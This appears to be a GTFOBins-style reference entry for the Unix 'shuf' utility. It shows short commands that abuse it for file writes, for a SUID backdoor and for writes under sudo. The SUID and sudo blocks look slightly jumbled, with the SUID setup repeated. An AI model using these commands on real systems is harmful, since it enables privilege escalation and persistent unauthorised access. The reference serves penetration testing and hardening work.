.. / shuf

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• File write
• SUID

The read file content is corrupted by adding a newline.

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

• LFILE=file_to_write
  shuf -e DATA -o "$LFILE"

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

• sudo sh -c 'cp $(which shuf) .; chmod +s ./shuf'
  
  LFILE=file_to_write
  ./shuf -e DATA -o "$LFILE"
  sudo:

• sudo sh -c 'cp $(which shuf) .; chmod +s ./shuf'
  
  LFILE=file_to_write
  sudo shuf -e DATA -o "$LFILE"